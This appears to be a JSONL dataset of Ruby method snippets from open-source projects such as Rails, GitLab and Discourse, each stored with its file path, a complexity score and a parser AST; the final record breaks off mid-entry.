{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration/default_strategy.rb","start_line":13,"raw_source":"def respond_to_missing?(method, include_private = false)\n          connection.respond_to?(method, include_private) || super\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"include_private\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"fc9ab3fa-e682-44da-ac01-dcc498f0dfff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/exporter/metrics_middleware.rb","start_line":23,"raw_source":"def call(env)\n          start = ::Gitlab::Metrics::System.monotonic_time\n          @app.call(env).tap do |response|\n            duration = ::Gitlab::Metrics::System.monotonic_time - start\n\n            labels = {\n              method: env['REQUEST_METHOD'].downcase,\n              path: env['PATH_INFO'].to_s,\n              code: response.first.to_s\n            }\n\n            @requests_total.increment(labels)\n            @request_durations.observe(labels, duration)\n          end\n        end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REQUEST_METHOD\"]}]},\"downcase\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"first\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requests_total\"]},\"increment\",{\"type\":\"lvar\",\"children\":[\"labels\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request_durations\"]},\"observe\",{\"type\":\"lvar\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]}]}]}]}","id":"d8dd61f5-a284-4578-b67e-890d4be97c49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/sli.rb","start_line":102,"raw_source":"def counter_name(suffix)\n          [COUNTER_PREFIX, name, suffix].join('_').to_sym\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"counter_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"suffix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COUNTER_PREFIX\"]},{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"suffix\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"to_sym\"]}]}","id":"996b09dc-391e-476c-a0c2-932825ceb41b"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":2012,"raw_source":"def process_chat_thread(thread)\n    thread[:id] = @last_chat_thread_id += 1\n    thread[:created_at] ||= NOW\n    thread[:updated_at] ||= NOW\n\n    @imported_records[thread[:original_id].to_s] = thread[:id]\n    @chat_thread_mapping[thread[:original_id].to_s] = thread[:id]\n\n    thread\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"process_chat_thread\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thread\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last_chat_thread_id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"const\",\"children\":[null,\"NOW\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"updated_at\"]}]},{\"type\":\"const\",\"children\":[null,\"NOW\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_records\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original_id\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chat_thread_mapping\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original_id\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"thread\"]}]}]}","id":"73ee391a-cf0e-4c72-8522-ae144001df7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/update_workers_data_consistency.rb","start_line":67,"raw_source":"def build_change(feature_category, workers)\n      change = ::Gitlab::Housekeeper::Change.new\n      change.title = \"Change data consistency for workers maintained by #{feature_category}\".truncate(70, omission: '')\n      change.identifiers = workers.map { |worker| worker[:name].to_s }.prepend(feature_category)\n      change.labels = labels(feature_category)\n      change.reviewers = pick_reviewers(feature_category, change.identifiers)\n\n      change.description = <<~MARKDOWN.chomp\n        ## What does this MR\n\n        It updates workers data consistency from `:always` to `:sticky` for workers maintained by `#{feature_category}`,\n        as a way to reduce database reads on the primary DB. Check https://gitlab.com/gitlab-org/gitlab/-/issues/462611.\n\n        To reduce resource saturation on the primary node, all workers should be changed to `sticky`, at minimum.\n\n        Since jobs are now enqueued along with the current database LSN, the replica (for `:sticky` or `:delayed`)\n        is guaranteed to be caught up to that point, or the job will be retried, or use the primary. Consider updating\n        the worker(s) to `delayed`, if it's applicable.\n\n        You can read more about the Sidekiq Workers `data_consistency` in\n        https://docs.gitlab.com/ee/development/sidekiq/worker_attributes.html#job-data-consistency-strategies.\n\n        You can use this [dashboard](https://log.gprd.gitlab.net/app/r/s/iyIUV) to monitor the worker query activity on\n        primary vs. replicas.\n\n        Currently, the `gitlab-housekeeper` is not always capable of updating all references, so you must check the diff\n        and pipeline failures to confirm if there are any issues.\n      MARKDOWN\n\n      change\n    end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_category\"]},{\"type\":\"arg\",\"children\":[\"workers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"change\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Housekeeper\"]},\"Change\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"title=\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Change data consistency for workers maintained by \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_category\"]}]}]},\"truncate\",{\"type\":\"int\",\"children\":[70]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"identifiers=\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"to_s\"]}]},\"prepend\",{\"type\":\"lvar\",\"children\":[\"feature_category\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"labels=\",{\"type\":\"send\",\"children\":[null,\"labels\",{\"type\":\"lvar\",\"children\":[\"feature_category\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"reviewers=\",{\"type\":\"send\",\"children\":[null,\"pick_reviewers\",{\"type\":\"lvar\",\"children\":[\"feature_category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"identifiers\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"description=\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"## What does this MR\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"It updates workers data consistency from `:always` to `:sticky` for workers maintained by `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_category\"]}]},{\"type\":\"str\",\"children\":[\"`,\\n\"]},{\"type\":\"str\",\"children\":[\"as a way to reduce database reads on the primary DB. Check https://gitlab.com/gitlab-org/gitlab/-/issues/462611.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"To reduce resource saturation on the primary node, all workers should be changed to `sticky`, at minimum.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Since jobs are now enqueued along with the current database LSN, the replica (for `:sticky` or `:delayed`)\\n\"]},{\"type\":\"str\",\"children\":[\"is guaranteed to be caught up to that point, or the job will be retried, or use the primary. Consider updating\\n\"]},{\"type\":\"str\",\"children\":[\"the worker(s) to `delayed`, if it's applicable.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"You can read more about the Sidekiq Workers `data_consistency` in\\n\"]},{\"type\":\"str\",\"children\":[\"https://docs.gitlab.com/ee/development/sidekiq/worker_attributes.html#job-data-consistency-strategies.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"You can use this [dashboard](https://log.gprd.gitlab.net/app/r/s/iyIUV) to monitor the worker query activity on\\n\"]},{\"type\":\"str\",\"children\":[\"primary vs. replicas.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Currently, the `gitlab-housekeeper` is not always capable of updating all references, so you must check the diff\\n\"]},{\"type\":\"str\",\"children\":[\"and pipeline failures to confirm if there are any issues.\\n\"]}]},\"chomp\"]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}","id":"4a368b46-6472-4bf1-8708-fbb4b151cf2e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/unnested_in_filters/rewriter.rb","start_line":192,"raw_source":"def index_filter\n        @index_filter ||= index.where.match(PARTIAL_INDEX_REGEX)&.named_captures.to_h\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"index_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@index_filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index\"]},\"where\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"PARTIAL_INDEX_REGEX\"]}]},\"named_captures\"]},\"to_h\"]}]}]}","id":"b6395feb-289c-439a-9637-e6b3474bf6a0"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/service/s3_service.rb","start_line":63,"raw_source":"def delete(key)\n      instrument :delete, key: key do\n        object_for(key).delete\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_for\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"delete\"]}]}]}","id":"e3872a26-bb9f-4ecf-b6a6-05f26933ddad"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":412,"raw_source":"def assertions # :nodoc:\n        root_session ? root_session.assertions : super\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assertions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_session\"]},\"assertions\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"985538b3-8c3b-4cb4-8e17-7200b8dda9b2"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/billboards/track_email_click_worker.rb","start_line":25,"raw_source":"def update_billboard_counts\n      billboard = Billboard.find_by(id: @bb.to_i)\n      return unless billboard\n\n      num_impressions = billboard.billboard_events.impressions.sum(:counts_for)\n      num_clicks = billboard.billboard_events.clicks.sum(:counts_for)\n      rate = num_impressions.positive? ? (num_clicks.to_f / num_impressions) : 0\n      billboard.update_columns(\n        success_rate: rate,\n        clicks_count: num_clicks,\n        impressions_count: num_impressions,\n      )\n    end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_billboard_counts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"billboard\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Billboard\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bb\"]},\"to_i\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"billboard\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"num_impressions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"billboard\"]},\"billboard_events\"]},\"impressions\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"counts_for\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"num_clicks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"billboard\"]},\"billboard_events\"]},\"clicks\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"counts_for\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rate\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_impressions\"]},\"positive?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_clicks\"]},\"to_f\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"num_impressions\"]}]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"billboard\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success_rate\"]},{\"type\":\"lvar\",\"children\":[\"rate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clicks_count\"]},{\"type\":\"lvar\",\"children\":[\"num_clicks\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"impressions_count\"]},{\"type\":\"lvar\",\"children\":[\"num_impressions\"]}]}]}]}]}]}","id":"cceaacec-0c10-49c5-b6d7-e46cf3ff071c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/template_parameter_converter_service.rb","start_line":12,"raw_source":"def initialize(template_params, template)\n    @template_params = template_params\n    @template = template\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_params\"]},{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@template_params\",{\"type\":\"lvar\",\"children\":[\"template_params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@template\",{\"type\":\"lvar\",\"children\":[\"template\"]}]}]}]}","id":"370bd118-f407-443f-a334-0e5f7937390f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/label.rb","start_line":309,"raw_source":"def label_format_reference(format = :id)\n    raise StandardError, 'Unknown format' unless [:id, :name].include?(format)\n\n    if format == :name && name.exclude?('\"')\n      %(\"#{name}\")\n    else\n      id\n    end\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"label_format_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"format\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"format\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"str\",\"children\":[\"Unknown format\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"==\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"exclude?\",{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}","id":"ceaa2444-ebc6-457a-9386-6e03c68c9cc7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/conversation.rb","start_line":194,"raw_source":"def dispatch_conversation_updated_event(previous_changes = nil)\n    dispatcher_dispatch(CONVERSATION_UPDATED, previous_changes)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dispatch_conversation_updated_event\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"previous_changes\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"dispatcher_dispatch\",{\"type\":\"const\",\"children\":[null,\"CONVERSATION_UPDATED\"]},{\"type\":\"lvar\",\"children\":[\"previous_changes\"]}]}]}","id":"42a1e4d4-b94c-42a3-9cae-cdcd95cf9d41"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/remote_development/bm_desired_config_array_validator.rb","start_line":61,"raw_source":"def validate_order(normalized_config_array, normalized_expected_array, errors, attribute_symbol)\n          normalized_config_array.each_with_index do |item, index|\n            expected_index = normalized_expected_array.index(item)\n\n            if expected_index.nil?\n              errors.add(attribute_symbol, \"item #{item} at index #{index} is unexpected\")\n              next\n            end\n\n            next if expected_index == index\n\n            errors.add(attribute_symbol, \"item #{item} at index #{index} must be at #{expected_index}\")\n          end\n        end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_order\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"normalized_config_array\"]},{\"type\":\"arg\",\"children\":[\"normalized_expected_array\"]},{\"type\":\"arg\",\"children\":[\"errors\"]},{\"type\":\"arg\",\"children\":[\"attribute_symbol\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized_config_array\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized_expected_array\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_index\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute_symbol\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"item \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"str\",\"children\":[\" at index \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\" is unexpected\"]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_index\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute_symbol\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"item \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"str\",\"children\":[\" at index \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\" must be at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_index\"]}]}]}]}]}]}]}","id":"ceeb3b0e-f037-4ed0-8fe4-b51531ed8d7f"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/discourse_db.rb","start_line":62,"raw_source":"def last_id_of(table_name)\n      query = <<~SQL\n        SELECT COALESCE(MAX(id), 0)\n          FROM #{quote_identifier(table_name)}\n        WHERE id > 0\n      SQL\n\n      result = @connection.exec(query)\n      result.getvalue(0, 0)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"last_id_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COALESCE(MAX(id), 0)\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_identifier\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id > 0\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"getvalue\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"812674fa-4ad5-4f80-b347-aaafa7816a94"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20241023041126_clear_duplicate_admin_notices.rb","start_line":3,"raw_source":"def up\n    problem_subject_id = 0\n\n    DB.exec(<<~SQL)\n      DELETE FROM admin_notices\n      WHERE subject = #{problem_subject_id}\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"problem_subject_id\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM admin_notices\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE subject = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"problem_subject_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"4c78c560-a615-4eea-8dd2-01dcbeb88893"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/app/controllers/discourse_data_explorer/query_controller.rb","start_line":221,"raw_source":"def rate_limit_query_runs!\n      return if !is_api? && !is_user_api?\n\n      RateLimiter.new(\n        nil,\n        \"api-query-run-10-sec\",\n        GlobalSetting.max_data_explorer_api_reqs_per_10_seconds,\n        10.seconds,\n      ).performed!\n    rescue RateLimiter::LimitExceeded => e\n      if GlobalSetting.max_data_explorer_api_req_mode.include?(\"warn\")\n        Discourse.warn(\"Query run 10 second rate limit exceeded\", query_id: params[:id])\n      end\n      raise e if GlobalSetting.max_data_explorer_api_req_mode.include?(\"block\")\n    end","complexity_score":28.75,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limit_query_runs!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_api?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_user_api?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"api-query-run-10-sec\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"max_data_explorer_api_reqs_per_10_seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"seconds\"]}]},\"performed!\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\